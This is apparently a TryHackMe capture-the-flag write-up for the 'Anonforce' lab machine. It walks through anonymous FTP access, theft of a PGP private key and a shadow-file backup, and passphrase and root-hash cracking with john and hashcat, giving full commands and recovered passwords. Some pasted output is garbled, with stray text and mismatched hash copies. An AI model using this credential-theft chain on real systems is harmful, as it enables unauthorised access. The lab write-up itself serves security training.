

ANONFORCE -- WriteUp

MACHINE DETAILS:

Machine name: "ANONFORCE" on TryHackMe

Machine IP: 10.10.84.130

ENUMERATION:

We initially run the nmap scan using;

```
nmap -sC -sV -p- -T4 -vv <Target IP>
```

The output received was as follows:

```
Nmap scan report for 10.10.84.130
Host is up, received reset ttl 61 (0.26s latency).
Scanned at 2022-01-31 18:42:30 EST for 18s
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE REASON      VERSION
21/tcp open  ftp      syn-ack ttl 61 vsftpd 3.0.3
ftp-syst:
  STAT:
FTP server status:
  Connected to ::ffff:10.13.13.140
  Logged in as ftp
  TYPE: ASCII
  No session bandwidth limit
  Session timeout in seconds is 300
  Control connection is plain text
  Data connections will be plain text
  At session startup, client count was 1
  vsFTPD 3.0.3 - secure, fast, stable
_End of status
ftp-anon: Anonymous FTP login allowed (FTP code 230)
drwxr-xr-x  2 0      0      4096 Aug 11 2019 bin
drwxr-xr-x  3 0      0      4096 Aug 11 2019 boot
drwxr-xr-x 17 0      0      3700 Jan 31 15:30 dev
drwxr-xr-x 85 0      0      4096 Aug 12 2019 etc
drwxr-xr-x  3 0      0      4096 Aug 11 2019 home
lrwxrwxrwx  1 0      0           33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
lrwxrwxrwx  1 0      0           33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
drwxr-xr-x 19 0      0      4096 Aug 11 2019 lib
drwxr-xr-x  2 0      0      4096 Aug 11 2019 lib64
drwx----- 2 0      0     16384 Aug 11 2019 lost+found
drwxr-xr-x  4 0      0      4096 Aug 11 2019 media
drwxr-xr-x  2 0      0      4096 Feb 26 2019 mnt
drwxrwxrwx  2 1000   1000     4096 Aug 11 2019 notread [NSE: writeable]
drwxr-xr-x  2 0      0      4096 Aug 11 2019 opt
dr-xr-xr-x 94 0      0           0 Jan 31 15:29 proc
drwx----- 3 0      0           0 Aug 11 2019 root
drwxr-xr-x 18 0      0           540 Jan 31 15:30 run
drwxr-xr-x  2 0      0     12288 Aug 11 2019/sbin
drwxr-xr-x  3 0      0      4096 Aug 11 2019/srv
dr-xr-xr-x 13 0      0           0 Jan 31 15:29 sys
drwxrwxrwt  9 0      0      4096 Jan 31 15:30 tmp [NSE: writeable]
drwxr-xr-x 10 0      0      4096 Aug 11 2019 usr
drwxr-xr-x 11 0      0      4096 Aug 11 2019 var
lrwxrwxrwx  1 0      0           30 Aug 11 2019 vmlinuz -> boot/vmlinuz-4.4.0-157-generic
lrwxrwxrwx  1 0      0           30 Aug 11 2019 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic
22/tcp open  ssh      syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
  2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)
  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDAkQ8G5TDLFJY+zMp5dEj6XUwH7cjGBjGkOmAf6d9Puisf4DPFJQmoCA/eiS2pIwFq14hVhXJHTclmcCd+20eriLXq0fEn+aHTo5X82KADkJibmel86qS7ToCzcarOnUkJU17mY3MuyTbfxuqmS
vT7/7N1OzRwFcJ+cqmesZyhlNOR29GT5Y3Lbvt2W0kEql2SPQya0GrGA0EERWetIxExpqLalsqjQPE/h8nigzXZjd6ELlgn1/CSQnJVdLee1WMcvT5qmm9dzn/yvsydH8aHy1CSKix5Qu9LtsitssoglpdlhXu5skr2do6ncWMAAdT75asBh+VE+QV
k3vY
  256 73:5d:de:9a:88:6e:64:7a:el:87:ec:65:ae:11:93:e3 (ECDSA)
  ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoVTIubmlzdHJhNTYAAAABBAQ1VuleOFZpJb73D/25H110wp9Cs/SgwWIjwGw0/2/20+XMsac5E8rACtXtLaAuL3Dk/IRSRoRUEfu11ROH3A=
  256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)
  _ssh-ed25519 AAAAC3NzaC1lZD11WFE6AAAR1i1d/VCDJp4/DG91UzQpA8Y13DAx7Aq+JK+3zVc
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

We can see that "FTP" and "SSH" are open, also anonymous login is allowed on the FTP service. We access FTP service using;

```
ftp <target IP>
```

And enter "Username" as `Anonymous` and then hit enter when prompted for password, then you'll get into the `/` directory.

INITIAL FOOTHOLD:

Once we are logged into "FTP", run `ls -al` to list all the files and directories.

```
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  23 0      0      4096 Aug 11  2019 .
drwxr-xr-x  23 0      0      4096 Aug 11  2019 ..
drwxr-xr-x   2 0      0      4096 Aug 11  2019 bin
drwxr-xr-x   3 0      0      4096 Aug 11  2019 boot
drwxr-xr-x  17 0      0      3700 Jan 31 15:30 dev
drwxr-xr-x  85 0      0      4096 Aug 13  2019 etc
drwxr-xr-x   3 0      0      4096 Aug 11  2019 home
lrwxrwxrwx   1 0      0         33 Aug 11  2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
lrwxrwxrwx   1 0      0         33 Aug 11  2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
drwxr-xr-x  19 0      0      4096 Aug 11  2019 lib
drwxr-xr-x   2 0      0      4096 Aug 11  2019 lib64
drwx-----  2 0      0     16384 Aug 11  2019 lost+found
drwxr-xr-x   4 0      0      4096 Aug 11  2019 media
drwxr-xr-x   2 0      0      4096 Feb 26  2019 mnt
drwxrwxrwx  2 1000   1000     4096 Aug 11  2019 notread
drwxr-xr-x   2 0      0      4096 Aug 11  2019 opt
dr-xr-xr-x  92 0      0         0 Jan 31 15:29 proc
drwx-----  3 0      0      4096 Aug 11  2019 root
drwxr-xr-x  18 0      0         540 Jan 31 15:30 run
drwxr-xr-x   2 0      0     12288 Aug 11  2019 sbin
drwxr-xr-x   3 0      0      4096 Aug 11  2019 srv
dr-xr-xr-x  13 0      0         0 Jan 31 15:29 sys
drwxrwxrwt   9 0      0      4096 Jan 31 15:30 tmp
drwxr-xr-x  10 0      0      4096 Aug 11  2019 usr
drwxr-xr-x  11 0      0      4096 Aug 11  2019 var
lrwxrwxrwx   1 0      0         30 Aug 11  2019 vmlinuz -> boot/vmlinuz-4.4.0-157-generic
lrwxrwxrwx   1 0      0         30 Aug 11  2019 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic
226 Directory send OK.
```

Navigate to the `home` directory using `cd /home` and list the contents. We can see a directory called `melodias` and when we move into the directory we can see a file called `user.txt`. Run `get user.txt` and the `user.txt` file gets downloaded onto your attacking OS.

```
ftp> cd /home
250 Directory successfully changed.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x   3 0      0      4096 Aug 11  2019 .
drwxr-xr-x  23 0      0      4096 Aug 11  2019 ..
drwxr-xr-x   4 1000   1000     4096 Aug 11  2019 melodias
226 Directory send OK.
ftp> cd melodias
250 Directory successfully changed.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x   4 1000   1000     4096 Aug 11  2019 .
drwxr-xr-x   3 0      0      4096 Aug 11  2019 ..
-rw-----   1 0      0        117 Aug 11  2019 .bash_history
-rw-r--r--   1 1000   1000     220 Aug 11  2019 .bash_logout
-rw-r--r--   1 1000   1000    3771 Aug 11  2019 .bashrc
drwx-----   2 1000   1000     4096 Aug 11  2019 .cache
drwxrwxr-x   2 1000   1000     4096 Aug 11  2019 .nano
-rw-r--r--   1 1000   1000     655 Aug 11  2019 .profile
-rw-r--r--   1 1000   1000         0 Aug 11  2019 .sudo_as_admin_successful
-rw-r--r--   1 0      0        183 Aug 11  2019 .wget-hsts
-rw-rw-r--   1 1000   1000         33 Aug 11  2019 user.txt
226 Directory send OK.
```

PRIVELEGE ESCALATION:

Going back to `/` directory, we can see a directory named `notread`. Moving into the directory we can see two files; `backup.pgp` and `private.asc`. After downloading both the files, we can see that `private.asc` is a `PGP private key` file.

```
[root@x15] - [ /home/ronnie ]
#cat private.asc Hack The Box :: Login Login : HTB Academy Reverse Shell
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: BCPG v1.56

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
```

This private key file can be cracked using "JOHN THE RIPPER". Run `gpg2john private.asc > key` and this will create a key file which can be read and cracked by JOHN.

```
[root@X15:~]# gpg2john private.asc > key
File private.asc
[root@X15:~]# cat key
anonforce:$gpg$*17*54*2048*e49ac715ed55197122fd0acc6477832266db83b63a3f0d16b7f5fb3db2b93a6a995013bb1e7aff697e782d505891ee260e957136577*3*254*2*9*16*5d044d82578ecc62baaa15c1bcf1cfd65536*d
7d1d9bf6d08968::anonforce <melodias@anonforce.nsa>::private.asc
ANONFORCE -- WriteUp
```

Then run `john --wordlist=/usr/share/wordlist/rockyou.txt key` to crack the passphrase. The passphrase is `xbox360`.

We also have a file called `backup.pgp` which can be decrypted using `gpg --decrypt backup.pgp` and enter passphrase as `xbox360` when prompted. This will give the password hashes of all the users present on the system.

```
[root@X15:~]# gpg --decrypt backup.pgp
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 512-bit ELG key, ID AA6268D1E6612967, created 2019-08-12
"anonforce <melodias@anonforce.nsa>"
root:$6$07nYFaYf$F4Vmaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
daemon*:17953:0:99999:7:::
bin*:17953:0:99999:7:::
sys*:17953:0:99999:7:::
sync*:17953:0:99999:7:::
games*:17953:0:99999:7:::
man*:17953:0:99999:7:::
lp*:17953:0:99999:7:::
mail*:17953:0:99999:7:::
news*:17953:0:99999:7:::
uucp*:17953:0:99999:7:::
proxy*:17953:0:99999:7:::
www-data*:17953:0:99999:7:::
backup*:17953:0:99999:7:::
list*:17953:0:99999:7:::
irc*:17953:0:99999:7:::
gnats*:17953:0:99999:7:::
nobody*:17953:0:99999:7:::
systemd-timesync*:17953:0:99999:7:::
systemd-network*:17953:0:99999:7:::
systemd-resolve*:17953:0:99999:7:::
systemd-bus-proxy*:17953:0:99999:7:::
syslog*:17953:0:99999:7:::
_apt*:17953:0:99999:7:::
messagebus*:18120:0:99999:7:::
uuiid*:18120:0:99999:7:::
melodias:$1$xDhc6S6G$IQHUUW5ZtMkBg5pUMjEQtL1:18120:0:99999:7:::
sshd*:18120:0:99999:7:::
ftp*:18120:0:99999:7:::
#
```

We can see that the password hash for root is in `sha512crypt 6, SHA512 (Unix)` format with hash number `1800`. Now we copy the hash,

`$6$07nYFaYf$F4Vmaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0`, onto a file called `crack.txt`.

Now run, `hashcat -m 1800 -a 0 crack.txt /usr/share/wordlist/rockyou.txt` and you will get the root SSH password.


```
[root@X15]~[/home/ronnie]
#hashcat -m 1800 -a 0 crack.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====
* Device #1: pthread-11th Gen Intel(R) Core(TM) i9-11900H @ 2.50GHz, 9832/9896 MB (4096 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Uses-64-Bit

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 66 MB

Dictionary cache built:
* Filename... /usr/share/wordlists/rockyou.txt
* Passwords.. 14344392
* Bytes..... 139921507
* Keyspace... 14344385
* Runtime.... 2 secs

$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP0liMmL7CiQDtlycIm6a.bs0IBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:hikari

Session..... hashcat
Status..... Cracked
Hash.Name..... sha512crypt $6$, SHA512 (Unix)
Hash.Target.... $6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP0liMmL7CiQDtlycIm6a.bs0IBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:hikari
Time.Started... Mon Jan 31 19:48:32 2022 (3 secs)
Time.Estimated.. Mon Jan 31 19:48:35 2022 (0 secs)
Guess.Base..... File (/usr/share/wordlists/rockyou.txt)
Guess.Queue..... 1/1 (100.00%)
Speed.#1..... 1994 H/s (10.03ms) @ Accel:128 Loops:128 Thr:1 Vec:8rd
Recovered..... 1/1 (100.00%) Digests
Progress..... 7168/14344385 (0.05%)
Rejected..... 0/7168 (0.00%)
Restore.Point... 6144/14344385 (0.04%)
Restore.Sub.#1... Salt:0 Amplifier:0-1 Iteration:4992-5000
Candidates.#1... horoscope -> emoemo
```

Now you can SSH into the root account and extract the contents of `root.txt`.

/! MACHINE ROOTED !/